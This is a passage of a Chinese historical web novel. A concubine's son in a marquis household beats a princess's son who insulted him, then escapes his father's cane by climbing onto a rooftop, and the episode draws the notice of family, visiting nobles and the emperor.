陈泽文此人平等的看不起每一个庶出,他只觉晦气,上次母亲宴客,此人就去了,要不是碍于六皇子,早就教训了。
如今逮着机会,怎么可能放弃,随即冷哼一声,“你也不睁眼瞧瞧,这儿都是家中嫡子,只有你是庶出,你说说你配不配在此!还不滚远点,免得脏了我的眼睛!”
孙延年在一旁分辩道:“陈泽文,你休要胡说,唐家与封家乃是姻亲,更是二郎的外祖家,就是你来不得,他也得来。”
讲道理是讲不明白的,这种小屁孩就是欠教训!封砚初心里暗暗思索着将其打一顿的可行性。平昭公主虽是皇室之人,但她与当今陛下并非同母,其生母在去世前也就是个四品婕妤,陈驸马也未任要职,更何况小孩子打架,对方言语无状,家长怎好计较。
他嘴角含笑,勾起指头,朝陈泽文示意,“你过来。”陈泽文未曾犹疑,上前几步。
封砚初毕竟一直习武,所以手上的力气收了几分。他五指握拳,猛地朝对方砸去。
“哎呦,你竟敢打我!”陈泽文没想到封砚初竟敢动手,分外诧异,气急万分也想动手,只是他哪里是对手,只有挨打的份。
封砚初还边打边训斥:“叫你不会说话!叫你言语无状!叫你狗眼看人低!”
封砚敏与封砚开两人都觉得此人说话刺耳。而封砚敏本想上去帮忙,但是见二弟未曾吃亏便没加入。
大郎碍于对方的身份没有帮忙,可让他上去拉架却也做不到,所以只是站在一旁看着。
其余小孩眼见俩人打起来了。但周围有厌恶陈泽文为人的,有与封砚初关系尚可的,也有担心连累自己的,竟无一人上前拉架,还是俩个孩子见情况不对,这才赶紧叫大人。
“快快住手!”
只见王氏,大舅舅唐景,大娘子,父亲封简宁以及陈驸马等人一行人匆忙赶来。
封砚初闻声也不好太过分,只能住手起身。
可光挨打的陈泽文不服气,眼见大人来了,仿佛仗了势一般,就要回击。
封砚初瞧对方依旧嚣张无比,又是一拳出击,将对方打倒在地,俯视冷哼,“你要是还敢,我可以再打你一次。”
“逆子!还不住手!”封简宁没想到次子,竟然敢当着大人的面继续打,连忙呵斥叫停。
大娘子上下仔细将封砚初打量了一遍,发现对方油皮都没破,心中略微松了口气。紧接着赶紧将陈泽文扶起来,“没事吧?”然后又吩咐去请大夫。
毕竟是在唐家,挨打的还是平昭公主的儿子,唐景肯定要问的,“发生了什么事?怎么还打起来了?”
还未等封砚初开口,一旁的孙延年早就不吐不快,一股脑全说了,中间还略带了一丝添油加醋的成分。
唐景并不相信一人所说,向其余人求证时,没想到所有人的肯定。
封简宁不想得罪公主府,眼看着就要上前收拾次子。
封砚初眼疾手快,迅速走向陈驸马,十分恭敬地行礼道:“小子确实不应该动手打人,但小子不觉得自己错了,众目睽睽,令郎如此贬损于我,我若是不回击,那将我武安侯府的脸面置于何地?”
陈驸马也是见儿子这段时间被平昭公主管得太紧,这才想着此次赴宴带着,没想到竟然这般口无遮拦,他见儿子身上只是青了几处,并无大碍,也没打算计较。
说话更是带着些安抚的意思,“我知你是个好孩子,这次只当他吃个教训,看下次还敢不敢口出恶言。”
封简宁上前致歉,“都是犬子无状,回去我就收拾他。”
大娘子将陈泽文交给大夫之后,脸上挂着歉意,“实在对不住,都是那孩子太冲动,明日我便带他上门请罪。”
陈驸马摆摆手,无所谓道:“哪至于如此?不过是小孩子间的玩闹罢了,若真上门请罪,岂不是咱们大人都要认真了似的?”
夫妇二人听后,连忙致谢,“驸马爷心胸宽广,我们夫妇不及也。”
众人见事情化解纷纷离开,只有封简宁在离开前,狠狠地瞪了一眼儿子,意思是回去给我等着!
孙延年看向封砚初的眼神发亮,他举起大拇指赞道:“二郎,真有你的!”
封砚敏与封砚开同时上前,俩人乐的嘴角都压不下去。
“二郎,刚才你动手时,真是吓坏我了,本来想上去帮忙,可那陈泽文全无还手之力。”
“二郎,我方才瞧见父亲神色不对,恐怕回去会打你,你可要小心些。”
封砚初摆摆手,不在意道:“没事,他打我,我大不了跑就是了,再不济我装一装,祖母必定会护着我!”
封砚敏确是上了心,拍着他的胳膊,表情十分认真,“你安心,若有不对,我求母亲救你!”
而周围其余孩子对封砚初打陈泽文的事情也是兴奋不已,此人仗着他母亲是平昭公主,素日里都是门缝里瞧人的,今日有此一报也是活该。
第四十九章 明日早些叫我起床
满月宴结束,其余人都已经离去,封简宁与大娘子还在堂上与唐大人说话。
今日之事唐承也听说了,这陈泽文虽然身份尊贵,但确实嘴上不饶人,更何况陈驸马并未放在心上,所以便劝着封简宁,“你也不用生气,不过是小孩子打架罢了,陈驸马也未曾计较。”
封简宁长叹一声,语气中带着些许无奈,“唉,只是这孩子实在淘气,今日能打平昭公主的儿子,明日还不知要闯出什么祸事来。”
小舅舅唐显听后却道:“姐夫觉得二郎调皮,我瞧着他倒是不错,说话也有理有据,想来陈驸马不计较也有这一层意思。”
“哦?”唐承捋着胡须,眼神瞥向次子,“都说什么了?”
唐显笑着将话学了一遍,“二郎说,小子确实不应该动手打人,但小子不觉得自己错了,众目睽睽,令郎如此贬损于我,我若不回击,那将我武安侯府的脸面置于何地!”
唐承听后眼神微眯,他为官多年,猜出了陈驸马的几分心思。想必二郎这话无意中点了陈驸马,陈家的荣辱皆寄于平昭公主一人,前些日子陈家人犯错,要不是平昭公主从中斡旋,少不了一个流刑,眼见儿子因口无遮拦挨打,也算是给其一个警醒。
于是点头赞许,“贤婿,细细思量,二郎这话说的有些道理,一味地退让不见得是好事,不过到底是小孩子,还需管束一二。”
封简宁听后拱手致谢,“多谢泰山提点。”
大娘子见时间差不多了,准备告辞,于是起身行礼道:“父亲,母亲,大哥,二弟,时辰也不早了,我们也该回去了。”
“嗯,回去吧。”
封简宁在唐家门前上车之际,示意次子与他同乘一辆。
封砚初怎么可能愿意,他假装没看见父亲的的眼神,直接跳上另一辆。
封简宁气的要死,正要说些什么,被大娘子一把拉住,低声提醒,“夫君,这是在外面。”他只能暂时压下情绪,与大娘子上了马车。
一行人到了武安侯府时,天色已暗,只有夜幕上的星辰与侯府门前的灯笼发着亮光。
刚到门口,封砚初就跳下了车,连招呼都未打,就窜进门。
封简宁并未瞧见,他阴着一张脸,死死盯着马车,“你就是赖在马车上也没用,早晚得下来!”
封砚开与封砚敏见状,两人同时指着门内。
“父亲,二郎不在车上。”
“父亲,二郎早就跑进去了。”
封简宁原本气的火冒三丈,现下只觉得尴尬,嘴里骂着:“这兔崽子跑的倒是快!”
大娘子见状用扇子挡着唇低声笑,随后才上前道:“天已经黑了,哪有大晚上找孩子算账的,先进去吧,别让下人看了笑话。”但内心却在想,二郎啊,母亲也只能帮你到这了。
“哼,进府!”封简宁说罢,甩袖气哼哼的走了。
封砚敏依旧担心不已,“大郎,你说明日父亲会不会打二郎?”
封砚开瞧父亲被气的不轻,觉得二郎逃不掉,摇头叹息,“我觉得这顿打是免不了了。”
“唉!”
“唉!”
姐弟二人异口同声的叹气,随即进门而去。
封砚初回去之后,就叫来碧芳。
“碧芳,你可得记住了,明日早些叫我起床!”因为李妈妈今晚回家住,所以他不得不提前嘱咐碧芳。
碧芳有些疑惑,因为明日不用去学塾,按往日的习惯,郎君根本不可能早起,不过还是答应了,“奴婢明日定早早叫您起床。”
“你千万不能忘了!”他还是不放心,真是叮嘱了一遍又一遍。
“郎君安心,奴婢定早早叫您。”碧芳见郎君这般认真,以为他明日是要办什么重要的事情。
也不怪封砚初谨慎,因为以他对父亲的了解,这顿打逃掉的几率很小。所以一回来就嘱咐碧芳明日早点叫他起床,免得又被堵在床上,毕竟现在可不是冬天,压根不用担心冻病。
次日,天还蒙蒙亮,碧芳就如约叫郎君起床。
封砚初睡得正香,朦胧中听见有人喊他,勉强睁开眼睛,原来是碧芳在喊他,只是眼睛撑不住刚要闭上,猛地想起什么,脑子立即清醒过来。
“碧芳,让她们进来吧,我先洗漱,然后把今日要穿的衣服取出来。”他坐在床沿穿上常在室内用的屣鞋,同时吩咐碧芳。(屣鞋:古代人在室内穿的软底丝绸/皮革拖鞋)
让他没想到的是,自己已经吃完早饭,早已天光大亮之际,父亲也没来,这难免让他有些放松,因为本来就没睡够,再加上太阳晒着,竟有些昏昏沉沉起来。
碧芳见他躺在廊下的躺椅上打瞌睡,拿了一条薄被,轻手轻脚盖上,这一盖不要紧,竟让他真就睡着了。
李妈妈见二郎在廊下睡着,正欲上前叫醒,碧芳赶紧拦着。
“李妈妈快别叫,郎君今日起的早,这会儿晒着太阳正犯困呢,一会挪动了,就该清醒了。”
“可睡在这像怎么回事,只是他为何早起,可是有事要做?”李妈妈疑惑不解。
碧芳摇头道:“我也不知道,郎君昨晚吩咐我早些叫他起床,原本以为有事,没想到什么都没做。”
俩人正说着话,就看见世子爷进来了,手里还提着一根藤条。她们赶紧行礼,正欲开口,便被打断,示意不许说话。
碧芳这才知道郎君让自己叫他早起的原因,可世子的吩咐如何敢违拗,她与李妈妈两人只能同时投去同情的目光。
可怜封砚初睡得正香,压根不知道父亲提着藤条已经到了跟前。
其实封简宁也是有意为之,他就是担心次子有前车之鉴早有准备,一早过来未必抓得着人,又得知人未出去,这才在半大上午之时过来。现下观其模样,肯定一早就起来了。
第五十章 快下来,我不打你
“嗷!”
还在睡梦中的封砚初,身上突然传来一阵疼痛,火辣的痛觉让他几乎是从躺椅上蹦起来,惊慌的看着眼前之人。
“父亲!”他觉得父亲果然狡诈,竟然这个时间过来。
封简宁用藤条指着儿子,双眼几乎是在冒火,“瞧你昨日干的好事!”
他赶紧为自己辩驳,“我这是为咱们侯府争脸面,父亲不夸赞也就罢了,缘何打我?”
封简宁原本就想敛一敛儿子的性子,现下见他如此说,只觉怒从心来,“休要狡辩!他骂你你骂回去就是,怎的动手!”
“儿子嘴笨,骂不过,只能动手。”封砚初说话期间暗暗观察四周,想在不暴露武功的前提下溜出去。
“混账话!平日里我说一句,你有十句等着,还说自己嘴笨!”说完抬手就要打,可藤条落了个空,对方竟然瞅了个空,逃了!
“你给我站住!”
封砚初在院子里四处躲着,可父亲丝毫没有放弃的意思,竟然准备喊人堵他,眼见这么躲也不是办法,直接跑出了院子。
也正如他所说,封简宁并未放弃,他提着藤条在身后追,不仅如此,一边追,还一边指挥让下人拦着。
内院的下人都是丫鬟婆子,她们都在老太太和大娘子的统管之下,哪里敢真拦着。
而封砚初半大的小子,又练了武,身手十分灵活,竟然没被抓住,他一边跑,一边朝前面的人挥手,“你们都给我让开!”
住的并不远的三郎,四郎,二妹几人是最早出来,他们被眼前这一幕惊呆了,这还是他们第一次亲眼看见父亲后边追,二哥前面跑的情形,要是他们恐怕早就乖乖站着挨打。
“二哥太了不起了,父亲要打他,竟然还敢跑!”四郎此时对自己的二哥已经彻底臣服了。
“哎呀,我今日可算是亲眼见到二哥逃跑的景象。”三郎已经不由自主地轻拍着手。
二妹封砚婉见状立即反应过来,“我去叫大姐姐和母亲!”
此时的封砚初已经从二门里冲了出去,让他没想到的是父亲竟锲而不舍的依旧在后边追。
边喘边说,“别跑了,快停下!”
他在前面却很轻松,还有时间回话,“父亲,瞧给您累的,要不您快歇着别打我了。”
“妄……想……”封简宁早已经上气不接下气,他没想到这个兔崽子这么能跑,就在几乎就要坚持不住时,方恩出现在前面,他立时一喜。
“方恩!快帮我拦着!”
方恩的出现让封砚初没有那么容易脱身,此人最听父亲的话,只要是父亲的命令必定会一丝不苟的执行。
只见他侧身一躲,堪堪躲开方恩伸过来的大掌,迅速朝前方跑去,只是为了避免暴露轻功,他只是跑的比普通人快了些,可是方恩在身后紧追不舍。
就在危急之时,他瞧见一旁的花匠正准备搭梯子修剪树枝,在花匠震惊的目光中抢过梯子,半拖半扛地朝不远处的墙边跑去。
这是府中的内墙,所以并不高,他本可以轻松的翻过去,不过为了掩人耳目正好利用梯子。于是直接将梯子搭在墙上,不仅自己爬了上去,还将梯子一同收了回去。只是这墙有些窄,正好顺着墙走过去,搭梯上房顶。
方恩本来就要追上二郎君了,但眼见对方搭着梯子爬到墙上,因为担心对方掉下来,也不敢再追,只能回头看向世子爷。
封简宁本来瞧见对方上墙,更是怒火中烧,本想着必定要将其揪下来狠狠打一顿,可又瞧见对方在墙上也不安分,竟然来回走动,因为手里拿着梯子,所以身子还时不时地晃动一下。
顿时吓得他心都要提在嗓子眼了,于是放轻声音,挤出笑脸,“二郎,快下来,我不打你了。”
可这一幕落在封砚初眼中,却是父亲脸上挂着僵硬可怕的表情,还咬牙切齿的骗自己。
他头摇的像个拨浪鼓,“我不相信你,你之前就这样骗过我!”说完继续往前走,然后踩着摇摇晃晃的梯子往屋顶上爬。
封简宁有些恼羞成怒,他本来就有此心,正要继续,可瞧见次子站在摇摇欲坠的梯子上,往屋顶上爬,也不敢说话,就连呼吸都放轻了,就怕一个不小心掉下来。
在众人担忧的目光中,封砚初就这么摇摇晃晃的终于爬上屋顶,这是他第一次站在这个高度上,视野就是不一样,就连挨打这事都忘了,还张开双手赞叹,“瞧瞧,这高处的风景就是和低处的不一样啊!”
封简宁见次子上了屋顶,他几乎是用吼出来出来的声音,“你别乱动!仔细摔下来!”
封砚初这才反应过来,他正在逃跑,可看着底下的父亲,眼中满是得意,“这下你抓不到我了吧!”
“这样,你别动,我让人上去接你。”封简宁觉得这个声音是他这辈子最温柔的语气,可屋顶上的那个兔崽子根本不相信他此刻的真心,还在屋顶上来回踱步。
“父亲,你可知狼来了的故事,有再一没有再二,你这一招对我来说不管用。”
此时老太太,大娘子,婶娘温氏,以及其他所有孩子都来了。
“我的天爷呀!二郎,你怎么爬的这么高?别乱动,仔细摔着!”眼前这一幕惊到了老太太,她几乎有些不敢相信自己的眼睛。
大娘子也吓了一跳,赶紧劝着,就怕夫君再说出什么话刺激二郎,让二郎再掉下来,那就晚了,“二郎,你别动,我让人接你下来,你放心,我会劝你父亲的,不让他打你。”
“陈驸马都不计较了,偏偏父亲要计较,要不是昨日我跑得快,只怕此刻已经躺在床上下不来了。”对于父亲在揍他这件事上的言而无信,他有些疑心大娘子护不住。
老太太也琢磨出来了,“二郎,他不敢,祖母给你保证,他要是动你一根手指头,看我不打他!”
“果真?”
封简宁看有戏,赶紧附和,“你怎能怀疑自己的祖母,自然是真的,只要你下来我不打你。”只是他这语气并不好,又让二郎犹豫起来。
老太太气的一手杖打过去,“你快闭嘴!”
大娘子也白了一眼夫君,“二郎本来都要下来了,你这一说岂不是让他又不敢了!”
第五十一章 下次再也不敢了
话说永定伯汪曾鸿因为朝政上的事情找老侯爷,今日正好休沐便亲自上门拜访。
老侯爷此时站在门前迎接,“汪大人光临寒舍,真是有失远迎啊。”
汪曾鸿脸上挂着客气的笑,拱手回礼,“不敢当,不敢当,今日休沐,是汪某打搅了。”
老侯爷伸手示意请进,“咱们进去说话,请。”两人一边往里走,一边说着话。
“即使再次登门,武安侯府的景色依旧赏心悦目啊!”永定伯府虽然面积比武安侯大些,但要说到景致还真就不如,所以汪曾鸿才有此感叹。
“都是太宗皇帝恩赏,武安侯封氏一族至今感念皇恩。”老侯爷自然知道对方并非真心夸赞,也跟着打哈哈。
就在此时,便听见旁边的院子乱糟糟的,还有几个下人一闪而过的身影,这让老侯爷十分恼怒,今日贵客登门,怎的下人如此没规矩,她们是怎么管的家。
先是朝汪曾鸿致歉,“实在抱歉,下人没规矩,惊扰了汪大人。”
汪大人摆手道:“无妨,都是小事。”
老侯爷叫来一旁的下人皱眉开口斥责,“那边在干什么,乱糟糟的,不知道今日有贵客登门吗?怎么还不如往日了?”
一旁的下人听后立即跪在地上请罪,“老侯爷恕罪,是二郎君在房顶上,老太太他们正在底下劝呢。”
老侯爷并不知道什么事,只是觉得这个场景被永定伯看到,有些不好意思,又有些埋怨儿子,不过他此刻并不想计较,只想着先将人请进去。
“不过是小孩子调皮,汪大人先请。”
可汪曾鸿却很感兴趣,他还从未碰到过这样的孩子,乐呵呵道:“封侯爷不着急,你还是先将孩子劝下来再说。”
老侯爷阻止,“有他祖母在呢,不用管。”
汪曾鸿有心看一看武安侯府这个上房的二郎君,表现出一副十分大度的样子,“孩子的安全最重要,咱们去看看吧。”
无奈只能将人领过去,果然瞧见二郎君正站在屋顶上,与世子对峙,“这是干什么?还不赶紧将二郎接下来!”
老太太还在一旁保证,“你父亲必定不打你,要是他还想动手,你只管来找祖母。”她又看见二郎的目光望向老侯爷,又补充道:“你祖父也一样。”
封砚初本来都要下去了,可看见祖父带着一个客人过来,觉得自己的屁股一时半会儿是好不了了。
果然见那客人笑呵呵的问道:“贵府二郎这是做了什么坏事,让世子生这样大的气?”
就在此时,方恩一个飞身跳上屋顶,犹如老鹰抓兔子似的,将他提到地面。
封简宁见儿子平安下来,这才松了一口气,然后拱手回了一礼,“实在惭愧,犬子太过调皮,惊扰了永定伯,其实是他昨日在外祖家,与平昭公主之子起了争执,将人给打了。”
永定伯汪曾鸿捋着胡须哈哈笑道:“世子也不用过于生气,令郎这是颇有先祖之风啊。”
老侯爷暗暗白了一眼儿子,他还以为是什么事呢,“不过是小孩子打架罢了,有什么要紧的,值得你这样兴师动众,将他斥责一番也就罢了。”
“是,父亲,是儿子小题大做了。”其实封简宁自己也没想到此次打儿子,还引起这么大的动静,竟然还让外人瞧见了。
“调皮的孩子大多聪慧,武安侯与世子不必太过忧心,我想得这样一个儿子还没有呢。”虽然只是短短的一小会儿,但汪曾鸿已经看出封家二郎的审时度势。
话说二郎被方恩从房顶上提下来之后,老太太,大娘子等人将他上上下下仔仔细细检查了一遍,发现除了衣服有些凌乱之外,并无伤痕,这才松了一口气。
老太太气的用手指头点了点他的额头,“你啊!这般淘气,可怎么了得?竟然还敢上房顶,万一摔着了可是闹着玩的?再有下次不说你父亲,我就要先揍你。”
大娘子也跟着说:“二郎,你下次做之前先想一想自己,想一想家里人,你将来可是要科考的,若有个好歹岂不是要让老太太心疼?可知错了?”
封砚初垂着脑袋,“我知错了,下次再也不敢了。”
“下次?”
“哦,哦,再也没有下次了!”他连忙保证。
说到这里,老太太拍了拍他的肩膀,“还不前去行礼。”
他这才赶紧上前行礼:“孙儿见过祖父,让祖父担心了。”
“你知错便好,再有下次,别说你父亲,我就要先打你板子。”瞧瞧,真不愧是夫妻,老侯爷说出的话与老太太一模一样。
老侯爷又清了清嗓子,介绍着:“这是永定伯,还不上前见礼。”
封砚初听后立即拱手再次行礼,“封家二郎拜见永定伯,今日您上门拜访,却因小子之事扰了您,还请见谅。”
“无妨,你这么大,正是活泼好动的年纪。”汪曾鸿说完后,便与其余人告别,跟着老侯爷离开了。
封简宁等人走了以后,立即变了脸色,抬手就要打,封砚初迅速指着对方抬起来的手,“人而无信,不知其可也。君子守信,当一诺千金,父亲您是武安侯世子更要如此,才能给我和兄弟姐妹做个好榜样。”
此言一出,竟让封简宁一时之间不知该说些什么,咬牙切齿道:“你可真是我的好儿子啊!”
“我当然是父亲的好儿子,您不必夸赞。”封砚初还是小小的气了一下父亲。
果然封简宁的声音都高了几分,放下的手隐隐有要抬的意思,“我没夸你!”
老太太见二郎还在调皮,赶紧上前劝和,“好啦,好啦,我刚答应他,不让你打他,你若是再想动手岂不是让我失信于二郎。”转头又哄着封砚初,“好啦,折腾这么久,我也累了,你快回去吧。”
“是,孙儿多谢祖母,母亲,这便回去了。”眼见着临近午时,封砚初有些饿了,准备回去用饭,然后又朝父亲行礼告退。
其余几个孩子见二郎走了,也纷纷告辞,只是瞧着方向与二郎一样。
第五十二章 孩子们齐聚二郎住处
封砚初最先进了屋子,还没来得及坐下,门口就陆陆续续有人进来。
“二郎,你竟然上房顶,要是摔着可怎么好。”长姐封砚敏一进门就带着指责的口吻关心。
“二郎,最多挨次打罢了,何至于如此!”大郎封砚开觉得二弟太夸张了。
“二哥,你太牛了,弟弟我是拜服的五体投地!”三郎封砚池本来以为,今日二哥最起码得一顿好打,结果什么事都没有。
“二哥,你太厉害了,要是我只怕早就乖乖站着挨打了。”四郎封砚安心里对二哥的胆色那是钦佩不已。
他身后传来一个声音,“四哥,若是你的话,估计连陈泽文一个手指头都不敢动吧,不过二哥你太让我佩服了。”二妹封砚婉双眼放光,觉得二哥就是她的楷模。
堂哥封砚明手里拿着一块玉露杏仁糕,进来先是四处瞅了瞅,然后撇嘴道:“二郎呀,要我说你这里也太空了些,幸亏不用待客,否则实在不妥,应该让大伯母给你添些摆件。”
封砚敏正拉着堂妹封砚潼的小手,听见这话抬头道:“母亲也说给他添些家具,可他实在古怪,竟拒绝了,母亲也只得随他。”
大郎四处看了看点头很认可堂兄的话,“二郎,你这里不像在侯府,倒像是修士的清居之所。”
封砚潼跟着点头,“是啊,今春三月,咱们去城外的道观,那里招待客人的屋子就简朴的很,只是房间不如二哥的大罢了。”
封砚初明知道自己也不喜欢这么空荡荡的,但是为了掩饰练武这件事,只能含泪道:“我不喜繁琐,这样简洁一些,反倒舒心。”语气还得装出一副开心的样子。
说话期间,碧芳和雪香等人已经端来了茶点。耐不住性子的三郎从书架上暗藏的抽屉里翻出几个瓶子,正欲拿出来细看。结果被大郎一巴掌打在手上,勒令他将东西放回去,且安分些。
封砚初看见后说道:“那是我备的伤药,三弟,你上次用的也是这个。”
堂兄封砚明听后很感兴趣,因为他在学塾不认真的缘故,总是挨手板,一把抢过去道:“哦,原来你上次手好的那么快,是用了二郎送的药啊。”
三郎点头道:“是啊,我发现二哥送来的药,比府里孙大夫配的要好一些。”这俩人都是经常被学塾里的先生打手板之人,所以对这种见效快的药很上心。
封砚初看见后道:“这不是什么昂贵的东西,你们若是想要就拿去吧。”
堂兄嘴上笑呵呵道:“那怎么好意思。”可手上的动作并不慢,迅速将三瓶药揣进怀里。
封砚敏和封砚婉俩人也想要,一个因为经常练琴手指头有些红肿,一个是因为练习射箭想给手腕处涂一涂。
“大姐和二妹固然喜欢练琴,射箭,但也需张弛有度。”她俩的药还是封砚初强行从堂兄和三郎手里夺来的。
几个孩子闲聊了一会便都散了。
王锦娘这才抹着眼泪进来,“二郎,你今日怎么能上房顶呢?先不说摔着可怎么好,可竟然让老侯爷与永定伯瞧了个正着,万一这名声传扬出去,你将来可怎么办?”
封砚初对于爱哭的姨娘也很无奈,看着对方肿成桃子一样的眼睛,心中长叹一口气,这才放缓语气道:“姨娘别操心,老太太和祖父都没计较,你何苦掉眼泪,眼睛还要不要了?”
说话间扶着她坐下,然后又吩咐,“碧芳,取帕子来,打些井水浸湿,给姨娘冰敷一下眼睛。”
没一会儿,碧芳端着铜盆进来,井水寒凉冰敷正合适,她一边为王锦娘敷眼睛,一边劝着,“姨娘,您往后还是要少掉些眼泪,如今年岁轻没什么,将来年岁大了,眼睛还要不要了?我嫂子她娘就是喜欢哭,没成想才过五十眼睛就看不见了。”
王锦娘仰头敷着眼睛,听了这话一惊,“当真?”
“自然是真的。”碧芳手里一边换帕子,嘴上一边回复。
“那,那我的眼睛会不会也这样?”王锦娘担心道。
封砚初见碧芳的话起了作用,赶紧安抚,“如今还来得及,如果姨娘继续哭下去,只怕将来也是一样目不能视物。要儿子说,你得空打打叶子牌,串串门,或者想读什么话本子也可以,三郎那里有不少,我回头借来。”
王锦娘直接拒绝了,因为她与张姨娘走的很近,“不用,我若是想看话本子,我问张姨娘要。”
王锦娘的父亲是秀才,自己不说学富五车,那也是熟读诗书;而张姨娘原本是杀猪匠的女儿,大字不识一个,能进武安侯府就是因为貌美;只是没想到这看似千差万别的两个人,竟然相处的很融洽。
敷了好一会儿,眼睛终于好些了,王锦娘也没多打扰。
今日这一番折腾,确实让封砚初有些疲累。
就在这时李妈妈进来了,她看见二郎精神头明显不如往日,心里有些心疼,“二郎,饭已经提回来了,赶紧用些好去歇着。”
许是折腾太过,他只觉得午饭格外的香,竟然比往日多用了一碗。
饭后本来要睡,李妈妈端上来一碗茶,“二郎,喝些甘露茶消消食,散一散再歇,没得积食。”对于这些细节上的事情,李妈妈十分上心。
因为侯府孩子多,常有不小心吃多了的情况,所以这甘露茶是府中常备的。将炒山楂,生谷芽,乌药,橘皮等物晾干、碾磨、过筛存起来,等要喝时用小袋子装起来,沸水冲泡即可。
他将甘露茶一饮而尽,过了一会儿果然好些了,便睡下了。
果真如预料的一样,永定伯回去之后,就将武安侯府今日发生的事情,当成闲趣说给了夫人。
“果真如此调皮?”永定伯夫人有些不敢相信,就是整个京城,也没见过谁家有这样的孩子。
“自然,我亲眼所见,还能有假?”汪曾鸿强调着。
永定伯夫人用喝茶的动作掩饰嘴角的笑意,“幸亏咱家的孩子都很乖,想必武安侯世子很头痛吧?”
“我今日瞧着,世子虽然头痛,但也十分看重,就连武安侯也是如此,毕竟不是谁都敢打平昭公主的儿子,还让对方毫无还手之力,事后还言之凿凿,陈驸马并未计较。”此时的汪曾鸿仅仅只是觉得这孩子有几分小聪明罢了,仅此而已。
而永定伯夫人却琢磨出一些。她很清楚,那些高门大户的庶子看着衣食无忧,但并不敢在外惹事,他们比起那些嫡子少了份底气。而武安侯府的这个孩子如此大胆,可见其虽是庶出,但是在家中却很受宠,丝毫不逊色其他人家的嫡子。
第五十三章 满足一下内心的八卦
一次,景和帝将老侯爷叫进宫里谈事,没想到结束的时候,陛下竟主动调侃起来,“武安侯,听说你家有个调皮的郎君,都爬梯子上房了。”
老侯爷心里吐槽,果然如此,永定伯的嘴啊,但面对陛下的问询,他只能佯装叹气,“是我家长子的次子,名叫砚初,这孩子确实有些活泼过头了,前些日子与平昭公主的儿子打架,回来后他父亲气的要打他,没想到这孩子担心挨打,竟然逃到屋顶,还是拙荆又是劝,又是保证这才下来。”
每天被政事缠身的景和帝听后,只当是换换心情,哈哈笑道:“哈哈哈,果真如此,朕初次听说还以为是谣传,这样的孩子确实少见,朕的老六和他玩的不错,最近不打水漂了,迷上了打弹弓,还是你那孙子教的呢。”
老侯爷听后冷汗直流,让他没想到的是,自己这个孙子什么时候与六皇子玩到一起的,立即拱手请罪,“六殿下乃是皇子,是臣的孙子不懂事,怎能与皇子为友。”
景和帝见武安侯诚惶诚恐,心中叹气,这个老滑头真是滑不溜秋,不过他并未放在心上,只摆摆手道:“宫里像他这般大的孩子少,老六这段时间明显活泼了些,朕还要谢你家二郎呢,回去可别吓着孩子。”
“是。”老侯爷清楚陛下的意思,陛下一直对外表现出将六皇子排除在储位之外。这两年随着皇子渐渐长大,争斗已起,而当今坤宁宫也生有皇子,只是才两岁。
更何况,去年宫里还传来嫔妃生子的好消息,可见陛下身强体壮,内心并不想早早立储,局势未明如何敢多言。
说来太子本来是先皇后所生的嫡子,只是太子自出生就体弱,之后虽立为储君,可天不假年,五年前病逝,先皇后悲痛欲绝没多久也跟着去了。现下储位空悬,每当朝臣提出,陛下就开始哭先皇后与先太子。
本来想调笑一番,没想到气氛变了味,景和帝主动终结话题,道:“你便退下吧。”
“臣告退。”
离开后的老侯爷只觉得身心放松,他并不觉得陛下是真的想同他闲谈,必定别有深意,可无论如何,现在时机未到。
因为西北近日有些不安定,朝廷打算派安南将军前去震慑安怀部。老侯爷去年升任兵部侍郎,所以安南将军孙知微便上门商议政事,作为儿子的孙延年知道后,自然想要跟着去。
孙延年进门与长辈们见了礼,就去了封砚初的院子,因为俩人很熟悉,他刚进院子就喊道:“你家二郎呢?”
雪香见是孙郎君,先行礼问安,然后说道:“孙郎君安好,我家郎君正在屋子里呢,奴婢这就去叫。”
孙延年忙摆手道:“不用,我自己进去。”说话间,大声冲着房间喊:“二郎!我来看你了。”
正在屋内练武的封砚初吓得赶紧收了招式,略微整理一番前去开门,调整了表情,笑吟吟道:“快进来吧,雪香上些茶水和点心。”
孙延年狐疑地走进去,四处看了看,“你在里面做什么,竟然连丫鬟都赶出去了?”
封砚初笑得很自然,一边让坐一边说道:“我读书时不喜欢丫鬟在一旁,感觉像是被盯着似的。”
孙延年听后很有感触,与好友不同,他是嫡子,母亲盯得很紧,轻易不让他离开下人们的视线,并且还时时查问。唐大娘子虽然对好友也是关怀备至,但毕竟不是亲生子,到底内外有别,管得没那么严,自然私底下可操作的空间就大。
“唉,我何尝不是,只是我母亲恨不得一整天盯着我,从不允许我单独待着。”
封砚初自然明白原由,只是不好明说,“想必你在学习上不认真,伯母这才让人盯着你。”
与封家不同,孙家已经分支。大姑母嫁去的另一支早已从文,而孙知微这一脉依旧在军中任职,所以孙延年不仅要学文,还要跟着习武,十分辛苦。
其实孙延年除了想见一见好友之外,还想告诉他一个消息,“不说我了,二郎,你可知最近你在京城的名声可当真了不得,外面都在传你被你父亲打的上蹿下跳,直接蹦到房顶上了,是真的吗?”
“蹦到屋顶上?这话说出来你也信?”封砚初无奈的摇了摇头,这些大人真是爱闲话。
孙延年笑着调侃,“我想也是,我每日都要练武,现在跳到屋顶还费劲,更何况是你一个不会武功的文人,外头消息乱糟糟的,到底怎么回事,快说说。”
封砚初明知道孙延年上门更多的是想满足内心的八卦,但还是一五一十的说了。
“什么?陈驸马都不计较了,你父亲还要打你?”孙延年有些惊讶。
“你以为呢,原本回来的当天晚上就要挨揍,幸亏跑得快,否则我还要在床上躺几天呢。”即使如今想起来,他内心都十分庆幸。
“幸亏你父亲是文人,不会武功;这要是搁我父亲身上,无论我是逃到树上还是屋顶上,他都能给抓回来,你还有祖母和母亲护着;而我母亲呢?没准还会拍手叫好,不过我也没你这个胆量。”
孙延年的祖父祖母早已去世,他母亲只觉得儿子不上进,如何会求情,这也就是二郎。若是他逃跑的话,被抓回来只会打的更重,这就是区别,也是其他孩子的真实写照。
第五十四章 便宜那小子了
封砚初之前奇怪为什么封家明明是武将出身,为何后人全都弃武从文。
这里头不仅仅是战事渐少,还有一个更重要的原因,那就是当时封家的先祖——封七藏本是出身寒苦的底层士兵,能够习武、打仗立功,且获封侯爵,皆是太宗皇帝一路培养提拔,所以忠心无比。
太宗皇帝在位三十年,后禅位与文宗皇帝。大晟的天下,本就是太宗早年打下来的,即使禅位后,在军中的威严也不输从前。
可再亲密的父子关系也经不住权力的考验。最开始,文宗皇帝的确感念父皇禅让,可渐渐发现父皇在军中的地位超然,有些武将甚至只听从太宗而非文宗。
